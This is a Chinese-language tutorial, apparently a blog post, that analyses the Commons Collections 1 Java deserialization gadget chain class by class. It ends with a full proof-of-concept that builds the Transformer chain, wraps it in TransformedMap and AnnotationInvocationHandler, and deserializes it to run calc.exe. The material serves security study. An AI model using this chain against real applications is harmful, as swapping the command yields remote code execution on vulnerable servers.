Java反序列化漏洞之Commons Collections 1 (CC1) 链深度剖析

约 49 分钟读完

Java安全之CC1链

视频教程:https://www.bilibili.com/video/BV1A1421q7zj?t=86.3

Java反序列化漏洞之Commons Collections 1 (CC1) 链深度剖析

1. CC1链核心原理与攻击流程概览

Commons Collections 1 (CC1) 反序列化漏洞是Java安全史上一个里程碑式的发现,它揭示了如何利用Java标准库和第三方库的组合,在反序列化过程中执行任意代码。该漏洞的核心在于,攻击者可以构造一个恶意的对象序列化流,当目标应用对其进行反序列化时,会触发一系列精心设计的调用链,最终导致远程代码执行(RCE)。CC1链的精妙之处在于,它并非利用某个单一的漏洞点,而是通过多个看似无害的类和方法的组合,形成了一条完整的攻击路径。这条路径的起点是Java反序列化的入口readObject方法,终点是Runtime.exec()等能够执行系统命令的方法。整个攻击过程利用了Java的反射机制、动态代理以及集合框架的特性,展现了攻击者对于Java语言底层机制的深刻理解。

1.1 攻击链触发条件与环境

要成功利用CC1链,目标环境必须满足特定的依赖库版本和JDK版本要求。这些限制条件源于漏洞所利用的特定类和方法在不同版本中的实现差异。

1.1.1 依赖库版本:Commons Collections 3.1 - 3.2.1

CC1链的核心是利用了Apache Commons Collections库中的几个关键类,包括InvokerTransformerChainedTransformerConstantTransformerTransformedMap。这些类在3.1至3.2.1版本中存在可被利用的逻辑 。具体来说,这些版本的InvokerTransformer类允许通过其transform方法执行任意对象的任意方法,而ChainedTransformer则可以将多个Transformer串联起来,形成一个复杂的调用链。TransformedMap类在setValue操作时会调用一个Transformer来对值进行转换,这为触发ChainedTransformer提供了机会。因此,目标应用必须在其类路径中包含这些特定版本的Commons Collections库 。如果应用使用的是更高版本的库,开发者可能已经修复了这些类的潜在风险,导致攻击链无法成功。

1.1.2 JDK版本限制:JDK 1.7及以下

CC1链的另一个关键组成部分是sun.reflect.annotation.AnnotationInvocationHandler类,这是JDK内部的一个类,用于处理注解的动态代理。在JDK 1.7及更早的版本中,该类的readObject方法在反序列化时,会遍历其内部的Map成员变量,并对每个Map.Entry调用setValue方法。这个setValue调用正是触发TransformedMap中恶意Transformer的关键。然而,从JDK 8u71开始,Oracle对AnnotationInvocationHandlerreadObject方法进行了修改,移除了直接调用setValue的逻辑,从而切断了这条攻击路径 。因此,CC1链仅适用于JDK 1.7及以下的环境,或者在JDK 8u71之前的版本。这个版本限制是判断目标系统是否易受CC1链攻击的重要依据。

1.2 完整的攻击调用链

CC1链的攻击过程可以分解为一系列有序的调用,从反序列化的入口开始,最终执行恶意代码。理解这条调用链的每一个环节,对于深入剖析漏洞原理至关重要。

步骤 关键类/方法 作用与描述
1. 入口 ObjectInputStream.readObject() Java反序列化的标准入口。攻击者构造的恶意对象通过此方法传入目标应用。
2. 触发 AnnotationInvocationHandler.readObject() 反序列化时自动调用。该方法会遍历其内部的Map对象(memberValues),并对每个条目调用setValue方法,从而启动攻击链 。
3. 链式调用 TransformedMap.checkSetValue() TransformedMap拦截了setValue调用,并触发了其内部预设的valueTransformertransform方法,将控制权传递给恶意代码执行链 。
4. 执行恶意代码 ChainedTransformer & InvokerTransformer ChainedTransformer串联多个TransformerInvokerTransformer利用反射执行最终命令,如Runtime.getRuntime().exec()

Table 1: CC1攻击链调用流程概览

1.2.1 反序列化入口:ObjectInputStream.readObject()

攻击的起点是Java的反序列化机制。当应用通过ObjectInputStreamreadObject方法读取一个序列化对象时,Java虚拟机会尝试重建该对象。如果该对象的类实现了Serializable接口并重写了readObject方法,那么JVM会优先调用这个自定义的readObject方法。在CC1链中,攻击者构造的恶意对象是一个AnnotationInvocationHandler的实例,该实例内部持有一个被TransformedMap装饰的Map对象。当这个对象被反序列化时,AnnotationInvocationHandlerreadObject方法会被自动调用,从而启动整个攻击流程 。

1.2.2 触发点:AnnotationInvocationHandler.readObject()

AnnotationInvocationHandlerreadObject方法是整个攻击链的触发点。在反序列化过程中,该方法会被调用。其内部逻辑会遍历一个名为memberValuesMap对象,该对象在构造AnnotationInvocationHandler时被传入。在遍历过程中,代码会获取MapentrySet,并对每个Map.Entry调用setValue方法 。攻击者通过精心构造,将memberValues设置为一个TransformedMap实例。因此,当readObject方法调用setValue时,实际上是在调用TransformedMap内部实现的setValue方法,从而将控制权转移到了Commons Collections库中。

1.2.3 链式调用:TransformedMap.checkSetValue()

TransformedMap是Commons Collections库中的一个装饰器类,它包装了一个标准的Map对象,并允许在putsetValue等操作时,对键或值进行转换。在CC1链中,TransformedMapcheckSetValue方法扮演了关键角色。当AnnotationInvocationHandlerreadObject方法调用Map.EntrysetValue时,TransformedMap的内部类MapEntrysetValue方法会被触发。这个方法会调用其父类AbstractInputCheckedMapDecoratorcheckSetValue方法,并将要设置的值作为参数传入 。checkSetValue方法内部会调用预先设置好的valueTransformertransform方法,从而将攻击链从TransformedMap传递到了ChainedTransformer

1.2.4 执行恶意代码:ChainedTransformerInvokerTransformer

ChainedTransformer是攻击链的核心执行引擎。它内部维护一个Transformer数组,其transform方法会依次调用数组中每个Transformertransform方法,并将前一个Transformer的输出作为下一个Transformer的输入 。攻击者构造的ChainedTransformer数组通常包含一个ConstantTransformer和多个InvokerTransformerConstantTransformer的作用是忽略输入参数,直接返回一个预设的常量,例如Runtime.class。接下来的InvokerTransformer则利用Java的反射机制,依次调用getMethodinvoke等方法,最终调用Runtime.getRuntime().exec()来执行系统命令 。通过这种方式,攻击者将一系列复杂的反射调用封装在一个看似无害的Transformer对象中,并通过反序列化过程触发其执行。

2. 关键类深度剖析:InvokerTransformer

InvokerTransformer是Apache Commons Collections库中的一个核心类,也是CC1链中最终实现代码执行的关键。它实现了Transformer接口,其transform方法利用Java的反射机制,能够调用任意对象的任意方法。这种强大的功能在正常情况下为开发者提供了便利,但在反序列化漏洞的上下文中,却成为了攻击者执行恶意代码的利器。

2.1 核心作用:通过反射调用任意方法

InvokerTransformer的核心作用在于其能够通过反射机制,动态地调用一个对象的方法。它的构造函数接收三个参数:要调用的方法名(methodName)、方法参数的类型数组(paramTypes)以及方法参数的值数组(args)。在transform方法被调用时,它会获取传入对象的Class对象,然后通过getMethod方法找到与构造函数中指定的方法名和参数类型相匹配的Method对象。最后,通过invoke方法,在传入的对象上执行该方法,并传入预设的参数值。这种设计使得InvokerTransformer具有极高的灵活性,几乎可以调用任何对象的任何公共方法,这为构造复杂的攻击链提供了可能。

2.2 漏洞根源:transform方法分析

InvokerTransformer的漏洞根源在于其transform方法的实现。该方法没有对传入的对象和方法调用进行任何安全检查,完全信任了构造函数中提供的参数。这使得攻击者可以构造一个InvokerTransformer实例,指定一个危险的方法(如Runtime.exec)和恶意的参数(如要执行的命令),然后将其嵌入到攻击链中。

2.2.1 方法签名与参数

InvokerTransformer的构造函数签名如下:

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args)
  • methodName: 一个字符串,指定要调用的方法的名称。
  • paramTypes: 一个Class对象数组,指定方法参数的类型。
  • args: 一个Object对象数组,指定要传递给方法的实际参数值。

这三个参数完全由攻击者在构造InvokerTransformer实例时控制,为后续的恶意调用奠定了基础 。

2.2.2 反射调用机制:getMethodinvoke

InvokerTransformertransform方法的核心逻辑如下:

  1. 检查输入对象是否为null,如果是,则直接返回null
  2. 获取输入对象的Class对象:Class cls = input.getClass();
  3. 通过getMethod方法,根据methodNameparamTypes找到对应的Method对象:Method method = cls.getMethod(iMethodName, iParamTypes);
  4. 通过invoke方法,在输入对象上调用该方法,并传入args作为参数:return method.invoke(input, iArgs);

这个过程完全依赖于Java的反射API,使得InvokerTransformer能够绕过常规的编译时类型检查,在运行时动态地执行方法调用 。

2.2.3 可控参数带来的风险

由于InvokerTransformer的构造函数参数完全可控,攻击者可以构造一个能够执行任意命令的InvokerTransformer实例。例如,要执行calc.exe命令,可以构造如下InvokerTransformer

InvokerTransformer invokerTransformer = new InvokerTransformer(
    "exec",
    new Class[]{String.class},
    new Object[]{"calc.exe"}
);

然后,将这个invokerTransformer与一个Runtime对象一起使用,调用其transform方法,即可弹出计算器。在CC1链中,这个Runtime对象是通过ChainedTransformerConstantTransformer动态生成的,从而实现了在反序列化过程中执行任意代码 。

2.3 在攻击链中的角色

在CC1链中,InvokerTransformer扮演了“最终执行者”的角色。它位于攻击链的末端,负责将前面一系列复杂的调用和对象转换最终转化为一次危险的系统命令执行。

2.3.1 作为恶意代码的最终执行者

整个CC1链的目标是在目标系统上执行任意代码,而InvokerTransformer正是实现这一目标的最后一步。通过精心构造的InvokerTransformer实例,攻击者可以调用Runtime.getRuntime().exec()方法,从而在目标系统上执行任意命令。例如,在ysoserial工具生成的CC1链payload中,通常会看到一系列InvokerTransformer被串联起来,依次调用getMethodinvokeexec,最终完成命令执行 。

2.3.2 与ChainedTransformer的协同工作

InvokerTransformer本身并不负责生成执行命令所需的对象(如Runtime实例),而是依赖于ChainedTransformer来提供。ChainedTransformer通过链式调用,将ConstantTransformer返回的Runtime.class对象,经过一系列InvokerTransformer的转换,最终变成一个可以执行命令的Runtime实例。InvokerTransformerChainedTransformer的协同工作,使得攻击者可以将一个复杂的、多步骤的对象创建和方法调用过程,封装在一个看似无害的Transformer对象中,从而绕过安全检查,在反序列化时触发执行 。

3. 关键类深度剖析:ChainedTransformer

ChainedTransformer是Apache Commons Collections库中另一个关键的类,它在CC1链中扮演了“编排者”和“连接器”的角色。它实现了Transformer接口,其核心功能是将多个Transformer对象串联起来,形成一个执行链。当一个对象被传递给ChainedTransformertransform方法时,它会依次经过链中所有Transformer的转换,前一个Transformer的输出作为下一个Transformer的输入,最终返回最后一个Transformer的输出结果。

3.1 核心作用:串联多个Transformer

ChainedTransformer的核心作用在于将多个独立的Transformer组合成一个逻辑上的整体。它的构造函数接收一个Transformer数组作为参数,并将其存储在内部的iTransformers字段中 。这种设计使得开发者可以将一系列复杂的对象转换操作分解为多个简单的步骤,每个步骤由一个独立的Transformer实现,然后通过ChainedTransformer将它们串联起来,形成一个可复用的转换逻辑。在CC1链中,攻击者正是利用了这一特性,将ConstantTransformer和多个InvokerTransformer组合在一起,构建了一个能够动态生成Runtime实例并执行命令的复杂攻击链。

3.2 实现原理:transform方法分析

ChainedTransformertransform方法是其实现链式调用的核心。该方法接收一个输入对象,然后遍历内部的Transformer数组,依次调用每个Transformertransform方法。

3.2.1 链式调用逻辑

ChainedTransformertransform方法的源码逻辑大致如下:

public Object transform(Object object) {
    for (int i = 0; i < iTransformers.length; i++) {
        object = iTransformers[i].transform(object);
    }
    return object;
}

这段代码清晰地展示了链式调用的过程。for循环遍历iTransformers数组,在每次循环中,当前的object被传递给iTransformers[i]transform方法,然后将返回的结果重新赋值给object。这样,在下一轮循环中,下一个Transformer接收到的就是上一个Transformer处理后的结果 。

3.2.2 前一个Transformer的输出作为后一个的输入

这种“前一个输出作为后一个输入”的机制是ChainedTransformer的核心特性,也是CC1链能够成功构建的关键。攻击者可以利用这一机制,将一个复杂的操作分解为多个简单的步骤。例如,在CC1链中,第一个TransformerConstantTransformer)的输出是Runtime.class,这个Class对象作为输入传递给第二个Transformer(一个InvokerTransformer),该InvokerTransformer调用getMethod获取getRuntime方法。然后,这个Method对象又作为输入传递给第三个Transformer,该Transformer调用invoke方法执行getRuntime,从而得到Runtime的实例。整个过程环环相扣,每一步的输出都精确地作为下一步的输入,最终完成了从Runtime.classRuntime实例的转换 。

3.3 在攻击链中的角色

在CC1链中,ChainedTransformer扮演了“攻击链构建者”的角色。它将多个独立的、看似无害的Transformer组合成一个具有攻击性的整体,并负责在触发时按顺序执行它们。

3.3.1 构建复杂的调用序列

如果没有ChainedTransformer,攻击者将很难将多个InvokerTransformer的调用串联起来。因为每个InvokerTransformertransform方法都需要一个特定的输入对象,而手动管理这些输入输出会非常复杂。ChainedTransformer通过其链式调用机制,自动处理了这些中间状态的传递,使得攻击者可以专注于设计每一步的转换逻辑,而无需担心数据如何在步骤之间传递。这使得构建复杂的、多步骤的攻击序列成为可能 。

3.3.2 将ConstantTransformerInvokerTransformer组合

ChainedTransformer的另一个重要作用是将ConstantTransformerInvokerTransformer无缝地组合在一起。ConstantTransformer的作用是提供一个固定的初始值(如Runtime.class),而InvokerTransformer则需要对这个值进行一系列操作。ChainedTransformer将这两者连接起来,使得ConstantTransformer的输出可以直接作为第一个InvokerTransformer的输入,从而启动整个攻击链。这种组合方式是CC1链的经典模式,也是其能够成功绕过安全检查的关键所在 。

4. 关键类深度剖析:ConstantTransformer

ConstantTransformer是Apache Commons Collections库中一个简单但至关重要的类。它实现了Transformer接口,其功能非常直接:无论传入什么对象,其transform方法总是返回一个预先设定的常量值。在CC1链中,ConstantTransformer扮演了“起点”和“稳定器”的角色,它为整个攻击链提供了一个可控的、固定的初始输入,并解决了AnnotationInvocationHandlersetValue参数不可控的问题。

4.1 核心作用:提供一个固定的常量值

ConstantTransformer的核心作用是在一个Transformer链中提供一个固定的、不受输入影响的常量值。它的构造函数接收一个Object类型的参数,这个参数就是它将始终返回的常量。在transform方法被调用时,它会完全忽略传入的input参数,直接返回在构造函数中设定的常量 。这种特性使得ConstantTransformer在需要引入一个固定对象到转换链中时非常有用。在CC1链中,攻击者利用它来引入Runtime.class对象,作为后续反射调用的起点。

4.2 实现原理:transform方法分析

ConstantTransformer的实现原理非常简单,其transform方法的源码清晰地展示了其工作方式。

4.2.1 忽略输入参数

ConstantTransformertransform方法签名如下:

public Object transform(Object input)

然而,在方法体内部,input参数被完全忽略了。无论传入什么对象,方法的执行逻辑都不会受到任何影响。这种设计确保了其输出的确定性,即输出只由构造函数中设定的常量决定,与运行时的输入无关。

4.2.2 返回预设的常量对象

ConstantTransformertransform方法的核心逻辑就是返回一个预设的常量。在构造函数中,传入的常量被存储在一个名为iConstant的私有字段中。transform方法直接返回这个字段的值:

public Object transform(Object input) {
    return iConstant;
}

这种简单的实现使得ConstantTransformer的行为非常可预测,也为攻击者提供了一个可靠的工具,用于在攻击链中注入特定的对象 。

4.3 在攻击链中的角色

在CC1链中,ConstantTransformer扮演了双重角色:它既是攻击链的“起点”,为后续的反射调用提供了初始对象;又是“稳定器”,解决了AnnotationInvocationHandlersetValue参数不可控的难题。

4.3.1 为反射调用提供初始对象(如Runtime.class

CC1链的目标是通过反射调用Runtime.getRuntime().exec()来执行命令。然而,Runtime类没有实现Serializable接口,因此不能直接将其实例序列化到payload中。攻击者通过ConstantTransformer巧妙地解决了这个问题。他们构造一个ConstantTransformer,使其返回Runtime.classClass对象是可序列化的)。这个Class对象作为ChainedTransformer的第一个输入,后续的InvokerTransformer就可以通过反射调用其方法,最终动态地创建出Runtime的实例 。

4.3.2 作为ChainedTransformer的起始点

ChainedTransformer中,ConstantTransformer通常作为链的第一个元素。它为整个链式调用提供了一个确定的起点。当ChainedTransformertransform方法被调用时,无论传入的初始对象是什么,ConstantTransformer都会将其替换为预设的常量(如Runtime.class),从而确保后续InvokerTransformer的调用能够在一个正确的、可控的对象上进行。这种机制使得攻击链的构建更加灵活和可靠,因为它不依赖于触发时传入的初始参数 。

5. 关键类深度剖析:TransformedMap

TransformedMap是Apache Commons Collections库中一个功能强大的装饰器类,它扩展了标准Java Map的功能。TransformedMap允许在对Map进行putputAllMap.EntrysetValue等操作时,对键(key)和值(value)进行自动转换。在CC1链中,TransformedMap扮演了“桥梁”和“触发器”的角色,它连接了JDK内部的AnnotationInvocationHandler和Commons Collections中的Transformer链,使得在反序列化过程中对Map的常规操作能够触发恶意的代码执行。

5.1 核心作用:在Map操作时触发Transformer

TransformedMap的核心作用是在Map的特定操作点插入自定义的转换逻辑。它通过装饰一个现有的Map实例,并接收两个Transformer对象作为参数:一个用于转换键(keyTransformer),另一个用于转换值(valueTransformer)。当对TransformedMap执行put操作时,传入的键和值会分别被对应的Transformer转换后再存入内部的Map。同样,当通过Map.EntrysetValue方法修改一个已存在的条目时,新的值也会先被valueTransformer转换。这种机制为在集合操作中动态地修改数据提供了便利,但在CC1链中,却被攻击者利用来触发恶意的Transformer链 。

5.2 漏洞触发点:checkSetValue方法分析

TransformedMap的漏洞触发点在于其checkSetValue方法。这个方法在Map.EntrysetValue操作中被调用,负责对新设置的值进行转换。

5.2.1 方法调用时机:setValue操作

TransformedMap继承自AbstractInputCheckedMapDecorator,后者内部定义了一个MapEntry类,该类实现了Map.Entry接口。当遍历TransformedMapentrySet并调用setValue方法时,实际上调用的是MapEntrysetValue方法。这个方法在将新值存入内部Map之前,会先调用其父类AbstractInputCheckedMapDecoratorcheckSetValue方法 。

5.2.2 调用valueTransformer.transform()

checkSetValue方法的实现非常简单,它接收要设置的新值作为参数,然后调用TransformedMap中预设的valueTransformertransform方法,并将新值作为参数传入。最后,返回transform方法的结果作为最终要存入Map的值。

protected Object checkSetValue(Object value) {
    return valueTransformer.transform(value);
}

在CC1链中,valueTransformer被设置为一个ChainedTransformer实例。因此,当checkSetValue被调用时,实际上是触发了ChainedTransformer的执行,从而启动了整个恶意调用链。

5.3 在攻击链中的角色

在CC1链中,TransformedMap扮演着“桥梁”的角色,它连接了反序列化的入口点(AnnotationInvocationHandler)和恶意代码的执行者(ChainedTransformer)。

5.3.1 连接AnnotationInvocationHandlerChainedTransformer

AnnotationInvocationHandler在反序列化时会遍历其内部的Map(即TransformedMap),并调用Map.EntrysetValue方法。TransformedMap捕获了这个setValue操作,并将其转化为对ChainedTransformer的调用。这样,TransformedMap就将AnnotationInvocationHandler的反序列化行为与ChainedTransformer的恶意逻辑巧妙地连接了起来。

5.3.2 作为恶意代码的触发器

TransformedMap是整个攻击链的“扳机”。攻击者通过TransformedMap.decorate方法,将一个普通的HashMap包装成一个TransformedMap,并将恶意的ChainedTransformer设置为它的valueTransformer。当反序列化发生时,AnnotationInvocationHandler的遍历行为无意中扣动了这个“扳机”,触发了TransformedMapcheckSetValue方法,从而引爆了整个攻击链。

6. 关键类深度剖析:AnnotationInvocationHandler

AnnotationInvocationHandler是CC1链的“大门”或“入口点”。它是一个Java内部类,用于处理注解的动态代理。在CC1链中,它的readObject方法被利用来作为整个攻击序列的起点。当包含该对象的序列化数据被反序列化时,readObject方法会自动被调用,从而启动后续的攻击流程。

6.1 核心作用:利用反序列化触发Map操作

AnnotationInvocationHandler的核心作用在于它实现了Serializable接口,并且其readObject方法在反序列化过程中会执行特定的逻辑。在JDK 8u71之前的版本中,这个逻辑包括对内部一个Map类型字段的遍历和修改。攻击者正是利用了这一特性,将一个恶意的TransformedMap注入到AnnotationInvocationHandler中,使得在反序列化时,AnnotationInvocationHandler会“亲手”触发TransformedMap的恶意逻辑。

6.2 漏洞触发点:readObject方法分析

AnnotationInvocationHandler的漏洞触发点在于其readObject方法的实现。

6.2.1 反序列化过程中的自动调用

在Java反序列化机制中,如果一个类定义了private void readObject(ObjectInputStream in)方法,那么在反序列化该类的实例时,ObjectInputStream会优先调用这个自定义的readObject方法,而不是使用默认的反序列化逻辑。AnnotationInvocationHandler就定义了这样一个方法,这为攻击者提供了一个在反序列化过程中执行任意代码的绝佳机会。

6.2.2 对Map类型的memberValues进行遍历

readObject方法内部,首先会通过ObjectInputStream读取对象的状态,包括其内部的Map类型的memberValues字段。读取完成后,方法会进入一个关键的逻辑块。它会遍历memberValues中的所有条目(Map.Entry)。这个遍历操作是触发后续攻击的关键一步。在CC1链中,memberValues实际上是一个被TransformedMap装饰的Map,并且其valueTransformer被设置为了恶意的ChainedTransformer

6.2.3 调用Map.EntrysetValue方法

在遍历memberValues的条目时,readObject方法会检查每个条目的键和值。如果某个条目的值与注解定义中该键对应的默认值不匹配,readObject方法就会尝试“修复”这个值。修复的方式就是调用该条目的setValue方法,将其设置为一个新的值。这个setValue调用正是触发TransformedMap漏洞的“扳机”。

6.3 在攻击链中的角色

AnnotationInvocationHandler在CC1攻击链中扮演着无可替代的“入口点”(Entry Point)角色。它是连接反序列化漏洞和Commons Collections库中恶意类的桥梁。

6.3.1 作为整个攻击链的入口点

整个CC1攻击链的起点是ObjectInputStream.readObject()。然而,这个调用本身是中立的,它并不知道将要反序列化的对象是恶意的。AnnotationInvocationHandler是第一个在反序列化过程中主动执行自定义逻辑的类。它的readObject方法成为了攻击者注入恶意行为的第一个落脚点。攻击者通过构造一个恶意的AnnotationInvocationHandler对象,并将其序列化,就可以确保当目标应用反序列化这个对象时,攻击链能够被自动触发,而无需任何额外的用户交互或应用逻辑配合。这种“自包含”的特性使得CC1链非常强大和隐蔽。

6.3.2 将反序列化与TransformedMap的触发机制连接起来

AnnotationInvocationHandler 的另一个关键作用是它完美地连接了Java的原生反序列化机制和Commons Collections库中的TransformedMap触发机制。TransformedMap本身需要一个Map操作(如setValue)来触发其Transformer。而AnnotationInvocationHandlerreadObject方法恰好提供了这样一个操作。攻击者利用AnnotationInvocationHandler作为“载体”,将恶意的TransformedMap“走私”到目标应用的内存中。当反序列化发生时,AnnotationInvocationHandlerreadObject方法就像一个自动引爆装置,它“引爆”了内部的TransformedMap,从而启动了后续的攻击链。这种组合利用的方式,充分展示了攻击者对Java语言和第三方库内部机制的深刻理解。

7. CC1链攻击实例与代码分析

为了更直观地理解Commons Collections 1 (CC1) 反序列化攻击链的运作机制,本章节将通过一个典型的POC(Proof of Concept)代码,对整个攻击过程进行详细的拆解和分析。我们将从代码的结构入手,逐步解析如何构建恶意的Transformer链,如何将其与TransformedMapAnnotationInvocationHandler结合,并最终通过序列化与反序列化过程触发漏洞。通过对实例代码的深入剖析,可以清晰地看到各个关键组件是如何协同工作,共同构成一个完整的攻击流程。

7.1 POC代码结构解析

一个典型的CC1链POC代码通常包含以下几个核心步骤:构建Transformer数组、创建ChainedTransformer、装饰MapTransformedMap,以及实例化AnnotationInvocationHandler。下面我们将结合代码片段,对每个步骤进行详细解释。

7.1.1 构建Transformer数组

攻击的第一步是构建一个Transformer对象数组。这个数组定义了将要执行的恶意操作序列。在CC1链中,这个序列通常由ConstantTransformer和多个InvokerTransformer组成,目的是通过反射调用最终执行系统命令。

Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", new Class[0]}),
    new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null, new Object[0]}),
    new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"calc.exe"})
};
  • new ConstantTransformer(Runtime.class): 这是链条的起点。它负责提供一个稳定的、可控的初始对象Runtime.class,为后续的反射调用奠定基础。无论传入什么参数,它的transform方法都会返回Runtime.class
  • new InvokerTransformer("getMethod", ...): 这是链条的第一个执行步骤。它通过反射调用Runtime.class.getMethod("getRuntime", null),获取Runtime类的getRuntime方法对象。
  • new InvokerTransformer("invoke", ...): 这是链条的第二个执行步骤。它通过反射调用上一步获取的Method对象的invoke方法,从而执行getRuntime(),返回Runtime的单例实例。
  • new InvokerTransformer("exec", ...): 这是链条的最后一个执行步骤。它通过反射调用Runtime实例的exec方法,并传入要执行的命令(如"calc.exe"),从而触发最终的恶意行为。

7.1.2 创建ChainedTransformer

接下来,将上一步构建的Transformer数组包装成一个ChainedTransformer对象。ChainedTransformer的作用是将数组中的Transformer串联起来,形成一个可以按顺序执行的调用链。

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

这个chainedTransformer对象就是最终的恶意代码执行引擎。当它的transform方法被调用时,它会依次执行数组中的每一个Transformer,从而完成从获取Runtime类到执行命令的整个过程。

7.1.3 装饰MapTransformedMap

现在,需要将ChainedTransformer与一个Map操作关联起来,以便在Map操作时被触发。这里使用TransformedMap来完成这个任务。

Map innerMap = new HashMap();
innerMap.put("value", "anything"); // 需要放入一个键值对,以便后续遍历
Map outerMap = TransformedMap.decorate(innerMap, null, chainedTransformer);
  • 首先创建一个普通的HashMap实例innerMap,并放入一个键值对。这个键值对是必要的,因为AnnotationInvocationHandler在反序列化时会遍历这个Map
  • 然后,使用TransformedMap.decorate方法将innerMap包装成一个TransformedMapdecorate方法的第二个参数是keyTransformer,这里设置为null,表示不对键进行转换。第三个参数是valueTransformer,这里传入我们创建的chainedTransformer。这意味着,当outerMap中的值被修改时,chainedTransformertransform方法就会被调用。

7.1.4 实例化AnnotationInvocationHandler

最后一步是创建AnnotationInvocationHandler的实例,并将TransformedMap作为其内部的Map

Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) ctor.newInstance(Target.class, outerMap);
  • 由于AnnotationInvocationHandler是JDK的内部类,其构造函数不是公开的,因此需要通过反射来获取。
  • AnnotationInvocationHandler的构造函数需要两个参数:一个注解的Class对象和一个Map对象。这里选择Target.class作为注解类型,因为它有一个名为value的成员,这与我们放入Map的键相匹配,可以确保readObject方法中的逻辑被触发。
  • outerMap(即TransformedMap)作为第二个参数传入。这样,AnnotationInvocationHandler内部就持有了我们的恶意TransformedMap

7.2 序列化与反序列化过程

7.2.1 序列化恶意对象

创建完AnnotationInvocationHandler实例后,需要将其序列化成一个字节数组,以便通过网络发送或保存到文件中。

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
oos.close();

这段代码将handler对象(即恶意的AnnotationInvocationHandler实例)序列化,并将结果存储在ByteArrayOutputStream中。

7.2.2 反序列化触发漏洞

最后,通过反序列化这个字节数组来触发漏洞。

ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = ois.readObject();

ois.readObject()被调用时,Java的反序列化机制会重建AnnotationInvocationHandler对象。在重建过程中,其readObject方法会被自动调用。该方法会遍历其内部的TransformedMap,并调用setValue方法。这个setValue调用会触发TransformedMapcheckSetValue方法,进而调用ChainedTransformertransform方法。ChainedTransformer会依次执行其内部的Transformer链,最终由InvokerTransformer执行Runtime.getRuntime().exec("calc.exe"),弹出计算器,从而证明漏洞利用成功。

← Java安全之CC链汇总 CC1链分析 →